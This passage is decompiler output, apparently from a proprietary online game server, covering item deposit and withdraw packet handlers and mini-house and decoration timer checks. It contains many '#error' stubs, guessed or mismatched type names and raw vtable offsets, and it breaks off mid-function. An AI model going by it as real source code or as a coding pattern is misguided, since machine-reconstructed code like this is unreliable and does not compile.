ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (0050D3F0) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (0050D430) -------------------------------------------------------- #error "50D430: undefined or illegal type '#593' (funcsize=382)" //----- (0050D960) -------------------------------------------------------- #error "50D960: undefined or illegal type '#734' (funcsize=368)" //----- (0050DE90) -------------------------------------------------------- #error "50DE90: undefined or illegal type '#734' (funcsize=349)" //----- (0050E380) -------------------------------------------------------- #error "50E380: undefined or illegal type '#734' (funcsize=407)" //----- (0050E930) -------------------------------------------------------- #error "50E930: undefined or illegal type '#593' (funcsize=101)" //----- (0050EAA0) -------------------------------------------------------- #error "50EAA0: undefined or illegal type '#593' (funcsize=78)" //----- (0050EBC0) -------------------------------------------------------- #error "50EBC0: undefined or illegal type '#593' (funcsize=101)" //----- (0050ED30) -------------------------------------------------------- #error "50ED30: undefined or illegal type '#593' (funcsize=78)" //----- (0050EE50) -------------------------------------------------------- #error "50EE50: undefined or illegal type '#593' (funcsize=146)" //----- (0050F040) -------------------------------------------------------- #error "50F040: undefined or illegal type '#593' (funcsize=78)" //----- (0050F160) -------------------------------------------------------- #error "50F160: undefined or illegal type '#593' (funcsize=167)" //----- (0050F390) -------------------------------------------------------- #error "50F390: undefined or illegal type '#593' (funcsize=76)" //----- (0050F4A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned __int64 v5; // qax@8 int v6; // edx@9 int v7; // edi@12 int v8; // eax@12 char *v9; // edi@12 ZoneBaseSession *v10; // eax@14 int v11; // eax@15 char *v12; // [sp-4h] [bp-24h]@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S10_32 & 1) ) { _S10_32 |= 1u; cmc_76.cmc_AllowMode = 70; atexit(_E11_23); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_76.cmc_AllowMode && !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { if ( *((_BYTE *)v4 + 23352) & 0x30 ) { LODWORD(v5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1072))(v4); if ( *(_QWORD *)(netcmd + 2) > v5 ) { *(_DWORD *)(netcmd + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1072))(v4); *(_DWORD *)(netcmd + 6) = v6; } if ( *(_QWORD *)(netcmd + 2) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v7 + 64))( v7, *(_WORD *)(v8 + 4), *(_DWORD *)(netcmd + 2), *(_DWORD *)(netcmd + 6), -1); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13407; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v9 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *(_DWORD *)(v9 + 14) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v9 + 18) = *(_DWORD *)(netcmd + 6); *((_WORD *)v9 + 4) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4) + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ : Packet Too Long", 22); } v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v11 + 4); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 29, 3971); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 29, 3970); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 29, 3969); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (0050F6D0) -------------------------------------------------------- #error "50F6D0: undefined or illegal type '#593' (funcsize=56)" //----- (0050F7B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_DepositAck(void *this, int deposit) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@2 int v5; // ST04_4@3 DebugLogging *v6; // eax@3 DebugLogging *v7; // eax@3 int v8; // eax@5 char *v9; // eax@6 int v10; // eax@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_DepositAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_DepositAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; if ( *(_WORD *)(deposit + 16) == 3968 ) { v4 = (*(int (__thiscall **)(void *))(v3 + 2004))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v4 + 32))( v4, v2, *(_WORD *)(deposit + 6), 0) ) { v5 = *(_WORD *)(deposit + 6); v6 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_DepositAck : "); v7 = DebugLogging::operator<<(v6, v5); DebugLogging::operator<<(v7, &deb_LF); } *((_DWORD *)v2 + 17442) = *(_DWORD *)(deposit + 8); *((_DWORD *)v2 + 17443) = *(_DWORD *)(deposit + 12); } else { v8 = (*(int (__thiscall **)(void *))(v3 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v8 + 40))(v8, *(_WORD *)(deposit + 6)); } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12317; *(_DWORD *)(v9 + 2) = *((_DWORD *)v2 + 17442); *(_DWORD *)(v9 + 6) = *((_DWORD *)v2 + 17443); *((_WORD *)v9 + 5) = *(_WORD *)(deposit + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_DepositAck : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_DepositAck"); } //----- (0050F920) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned int v5; // eax@9 unsigned int v6; // ecx@9 int v7; // edi@13 int v8; // eax@13 char *v9; // edi@13 ZoneBaseSession *v10; // eax@15 int v11; // eax@16 char *v12; // [sp-8h] [bp-24h]@12 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S12_5 & 1) ) { _S12_5 |= 1u; cmc_77.cmc_AllowMode = 70; atexit(_E13_10); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_77.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 31, 3969); LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"); return; } if ( !(*((_BYTE *)v4 + 23352) & 0x30) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 31, 3970); goto LABEL_8; } v5 = *((_DWORD *)v4 + 17443); v6 = *((_DWORD *)v4 + 17442); if ( *(_QWORD *)(netcmd + 2) > __PAIR__(v5, v6) ) { *(_DWORD *)(netcmd + 2) = v6; *(_DWORD *)(netcmd + 6) = v5; } if ( *(_QWORD *)(netcmd + 2) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v7 + 64))( v7, *(_WORD *)(v8 + 4), *(_DWORD *)(netcmd + 2), *(_DWORD *)(netcmd + 6), 1); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13409; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v9 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *(_DWORD *)(v9 + 14) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v9 + 18) = *(_DWORD *)(netcmd + 6); *((_WORD *)v9 + 4) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4) + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ : Packet Too Long", 22); } v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v11 + 4); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"; } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 31, 3971); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (0050FB70) -------------------------------------------------------- #error "50FB70: undefined or illegal type '#593' (funcsize=56)" //----- (0050FC50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WithdrawAck(void *this, int withdraw) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@2 int v5; // ST04_4@3 DebugLogging *v6; // eax@3 DebugLogging *v7; // eax@3 int v8; // eax@5 char *v9; // eax@6 int v10; // eax@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; if ( *(_WORD *)(withdraw + 16) == 3968 ) { v4 = (*(int (__thiscall **)(void *))(v3 + 2004))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v4 + 32))( v4, v2, *(_WORD *)(withdraw + 6), 0) ) { v5 = *(_WORD *)(withdraw + 6); v6 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck : "); v7 = DebugLogging::operator<<(v6, v5); DebugLogging::operator<<(v7, &deb_LF); } *((_DWORD *)v2 + 17442) = *(_DWORD *)(withdraw + 8); *((_DWORD *)v2 + 17443) = *(_DWORD *)(withdraw + 12); } else { v8 = (*(int (__thiscall **)(void *))(v3 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v8 + 40))(v8, *(_WORD *)(withdraw + 6)); } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12319; *(_DWORD *)(v9 + 2) = *((_DWORD *)v2 + 17442); *(_DWORD *)(v9 + 6) = *((_DWORD *)v2 + 17443); *((_WORD *)v9 + 5) = *(_WORD *)(withdraw + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_DepositAck : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck"); } //----- (0050FDC0) -------------------------------------------------------- #error "50FDC0: undefined or illegal type '#593' (funcsize=56)" //----- (0050FEA0) -------------------------------------------------------- #error "50FEA0: undefined or illegal type '#593' (funcsize=113)" //----- (00510060) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init(ShineObjectClass::ShinePlayer::MiniHouseStr *this, #734 *a2, ItemInventoryCell *iic) { ShineObjectClass::ShinePlayer::MiniHouseStr *v3; // esi@1 int v4; // edx@1 unsigned __int16 result; // ax@2 unsigned __int16 v6; // di@3 signed int v7; // eax@3 CIDEB_Element *v8; // ecx@13 MiniHouse *v9; // eax@16 ChargedItemEffectFinger finger; // [sp+10h] [bp-14h]@3 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v4 = funcallanalizer.fca_stackpoint++ + 1; v12 = 0; if ( iic ) { v6 = iic->iic_Item.iti_itemstruct.itemid; MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v12) = 1; v7 = -1; while ( v7 >= -1 ) { ++v7; finger.cief_Finger = v7; if ( v7 >= minihousedatabox.cideb_Total ) break; if ( minihousedatabox.cideb_Array[v7].ce_ItemID == v6 ) goto LABEL_9; } finger.cief_Finger = -10; LABEL_9: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&finger) == minihousedatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v3->mhs_SkinHandle = 0; LOBYTE(v12) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); result = 4102; } else { if ( finger.cief_Finger < 0 || finger.cief_Finger >= minihousedatabox.cideb_Total ) v8 = 0; else v8 = &minihousedatabox.cideb_Array[finger.cief_Finger]; v3->mhs_SkinHandle = v8; if ( v8 && (v9 = v8->ce_Data) != 0 ) { v3->mhs_HPTick = ((signed int)((unsigned __int64)(10 * v9->HPTick * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v9->HPTick * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v3->mhs_SPTick = ((signed int)((unsigned __int64)(10 * v8->ce_Data->SPTick * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v8->ce_Data->SPTick * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v3->mhs_HPInc = v8->ce_Data->HPRecovery; v3->mhs_SPInc = v8->ce_Data->SPRecovery; v3->mhs_BoothSlot = v8->ce_Data->Slot; } else { v3->mhs_HPTick = -5536; v3->mhs_SPTick = -5536; v3->mhs_HPInc = 0; v3->mhs_SPInc = 0; v3->mhs_BoothSlot = 0; } v3->mhs_DummyObject[0] = 0; v3->mhs_DummyObject[1] = 0; v3->mhs_DummyObject[2] = 0; v3->mhs_DummyObject[3] = 0; v3->mhs_DummyObject[4] = 0; v3->mhs_DummyObject[5] = 0; v3->mhs_DummyObject[6] = 0; v3->mhs_DummyObject[7] = 0; v3->mhs_DummyObject[8] = 0; v3->mhs_DummyObject[9] = 0; LOBYTE(v12) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); result = 4097; } } else { funcallanalizer.fca_stackpoint = v4 - 1; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); result = 4102; } return result; } //----- (005102A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DecorationActivCheck(void *this) { void *v1; // ebp@1 int v2; // edx@1 int v3; // eax@1 int v4; // eax@1 int v5; // eax@2 void *v6; // edi@2 int v7; // ebx@2 int v8; // edx@2 int v9; // esi@2 int v10; // ecx@2 void *v11; // eax@2 __int16 v12; // si@4 int v13; // ecx@4 CIDEB_Element *v14; // ecx@8 ChargedItemEffect *v15; // edx@9 void *v16; // eax@12 int v17; // edx@12 int v18; // eax@13 unsigned int v19; // ecx@13 char *v20; // ecx@13 int v21; // eax@13 int v22; // edx@13 char *v23; // esi@13 int v24; // edx@13 void *v25; // edi@13 int v26; // esi@13 int v27; // eax@13 ZoneBaseSession *v28; // eax@15 ITEM_INVEN inv; // [sp+18h] [bp-5Ch]@13 void *deltime; // [sp+1Ch] [bp-58h]@2 int iic; // [sp+20h] [bp-54h]@2 FunctionEntarance _; // [sp+24h] [bp-50h]@1 int *uii; // [sp+28h] [bp-4Ch]@1 int v34; // [sp+2Ch] [bp-48h]@1 int v35; // [sp+30h] [bp-44h]@1 int ibii; // [sp+34h] [bp-40h]@1 char *v37; // [sp+38h] [bp-3Ch]@1 int v38; // [sp+40h] [bp-34h]@1 struct tm timestr; // [sp+44h] [bp-30h]@12 int v40; // [sp+70h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii = (int)&ItemBoxIterator::_vftable_; v37 = (char *)v1 + 32312; v2 = *((_DWORD *)v1 + 8078); v40 = 0; v38 = (*(int (**)(void))(v2 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; v3 = *(_DWORD *)v1; LOBYTE(v40) = 1; v4 = (*(int (__thiscall **)(void *))(v3 + 2004))(v1); uii = &ibii; v34 = v4; v35 = 8; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { do { v5 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v6 = (void *)v5; v7 = *(_DWORD *)(v5 + 112); v8 = *(_DWORD *)v7; v9 = v5 + 8; v10 = *(_DWORD *)(v5 + 112); iic = v5; v11 = (void *)(*(int (__thiscall **)(int, int))(v8 + 48))(v10, v5 + 8); deltime = v11; if ( v11 ) { if ( !*(_BYTE *)v11 ) { v12 = *(_WORD *)v9; v13 = 0; if ( chargedbuffdatabox.cideb_Total > 0 ) { while ( chargedbuffdatabox.cideb_Array[v13].ce_ItemID != v12 ) { ++v13; if ( v13 >= chargedbuffdatabox.cideb_Total ) goto LABEL_16; } v14 = &chargedbuffdatabox.cideb_Array[v13]; if ( v14 ) { v15 = v14->ce_Data; if ( v15 ) { if ( v15->KeepTime_Hour ) { memcpy((void *)×tr, &stru_8C8DD4, sizeof(timestr)); timestr.tm_hour = v15->KeepTime_Hour + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(×tr); v16 = deltime; v17 = timestr.tm_min; *(_BYTE *)deltime = LOBYTE(timestr.tm_year) - 100; v6 = (void *)iic; *(_DWORD *)v16 = *(_DWORD *)v16 & 0xFF | ((LOWORD(timestr.tm_mon) + 1) << 8) & 0x1F00 | ((timestr.tm_mday & 0x3F | ((timestr.tm_hour & 0x3F | (v17 << 6)) << 6)) << 13); } else { *(_DWORD *)v11 = 1992027391; } v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1384))(v1); v19 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v19; v20 = (char *)&namestring + 256 * v19; *(_DWORD *)v20 = *(_DWORD *)v18; *((_DWORD *)v20 + 1) = *(_DWORD *)(v18 + 4); *((_DWORD *)v20 + 2) = *(_DWORD *)(v18 + 8); *((_DWORD *)v20 + 3) = *(_DWORD *)(v18 + 12); LOWORD(v18) = inv.Inven; v20[16] = 0; v21 = v18 & 0x3FF | 0x2000; inv.Inven = v21; v22 = *((_DWORD *)v1 + 14470); inv.Inven = (v21 ^ *((_WORD *)uii + 4)) & 0x3FF ^ v21; LOWORD(v21) = *((_WORD *)v1 + 28942); (*(void (__stdcall **)(int, void *, void *, ITEM_INVEN *, ITEM_INVEN *))(v22 + 56))( v21, v6, v6, &inv, &inv); v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v23 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v23 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v23 + 4) = *((_WORD *)v1 + 28942); *(_DWORD *)(v23 + 10) = *(_DWORD *)v6; *(_DWORD *)(v23 + 14) = *((_DWORD *)v6 + 1); *((_WORD *)v23 + 9) = *((_WORD *)v6 + 4); memcpy(v23 + 20, (char *)v6 + 10, 0x65u); v24 = *(_DWORD *)v7; iic = (int)((char *)v6 + 10); (*(void (__thiscall **)(int, char *))(v24 + 8))(v7, (char *)v6 + 10); v25 = (void *)iic; v26 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v7 + 8))(v7, iic) + 20; v27 = (*(int (__thiscall **)(int, void *))(*(_DWORD *)v7 + 8))(v7, v25); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v27 + 20) ) { v28 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v28); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MiniHouseActCheck : Packet Too Long", v26); } } } } } } LABEL_16: ; } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); } --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v40 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"); } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (005105F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck(void *this) { int v1; // esi@1 int v2; // eax@5 int v3; // ebx@8 void *v4; // eax@8 void *v5; // esi@8 CIDEB_Element *v6; // eax@12 void *v7; // eax@13 unsigned __int16 v8; // ax@14 int v9; // ecx@16 int v10; // edi@17 char *v11; // esi@17 int v12; // eax@17 int v13; // eax@17 char v14; // al@17 ZoneBaseSession *v15; // eax@18 char complete; // [sp+31h] [bp-C1h]@1 ITEM_INVEN inv; // [sp+32h] [bp-C0h]@1 int v18; // [sp+36h] [bp-BCh]@1 void *deleted; // [sp+3Ah] [bp-B8h]@8 int iic; // [sp+3Eh] [bp-B4h]@5 FunctionEntarance _; // [sp+42h] [bp-B0h]@1 struct tm timestr; // [sp+46h] [bp-ACh]@16 __int16 iti; // [sp+6Ah] [bp-88h]@7 char v24; // [sp+6Ch] [bp-86h]@17 unsigned __int16 itemid[2]; // [sp+72h] [bp-80h]@7 char v26; // [sp+D0h] [bp-22h]@17 __int16 v27; // [sp+D6h] [bp-1Ch]@7 char v28; // [sp+D8h] [bp-1Ah]@7 unsigned int v29; // [sp+DEh] [bp-14h]@1 int v30; // [sp+EEh] [bp-4h]@1 int v31; // [sp+F2h] [bp+0h]@1 v1 = (int)this; v29 = (unsigned int)&v31 ^ __security_cookie; v18 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; complete = 1; inv.Inven = 12288; while ( 1 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)(v1 + 57880) + 12))(v1 + 57880, &inv) ) { complete = 0; } else { v2 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v1 + 52972))(v1 + 52972, inv.Inven & 0x3FF); iic = v2; if ( v2 ) { if ( *(_DWORD *)(v2 + 112) ) { memcpy(&iti, (const void *)v2, 0x6Cu); v27 = *(_WORD *)(v2 + 108); v28 = *(_BYTE *)(v2 + 110); if ( itemid[0] != -1 ) { v3 = *(_DWORD *)(v2 + 112); v4 = (void *)(*(int (__thiscall **)(int, unsigned __int16 *))(*(_DWORD *)v3 + 48))(v3, itemid); v5 = v4; deleted = v4; if ( v4 ) { if ( !*(_BYTE *)v4 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)(v18 + 57880) + 12))( v18 + 57880, &inv) ) { complete = 0; } else { v6 = ChargedItemEffectDataBox::cideb_GetItemID(&minihousedatabox, itemid[0]); if ( v6 ) { v7 = v6->ce_Data; if ( v7 ) { v8 = *((_WORD *)v7 + 49); if ( v8 ) { memcpy((void *)×tr, &stru_8C8DD4, sizeof(timestr)); timestr.tm_hour = v8 + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(×tr); v7 = deleted; v9 = timestr.tm_min; *(_BYTE *)deleted = LOBYTE(timestr.tm_year) - 100; *(_DWORD *)v7 = *(_DWORD *)v7 & 0xFF | ((LOWORD(timestr.tm_mon) + 1) << 8) & 0x1F00 | ((timestr.tm_mday & 0x3F | ((timestr.tm_hour & 0x3F | (v9 << 6)) << 6)) << 13); } else { *(_DWORD *)v5 = 1992027391; } v10 = v18; LOWORD(v7) = *(_WORD *)(v18 + 57884); (*(void (__thiscall **)(int, void *, int, __int16 *))(*(_DWORD *)(v18 + 57880) + 56))( v18 + 57880, v7, 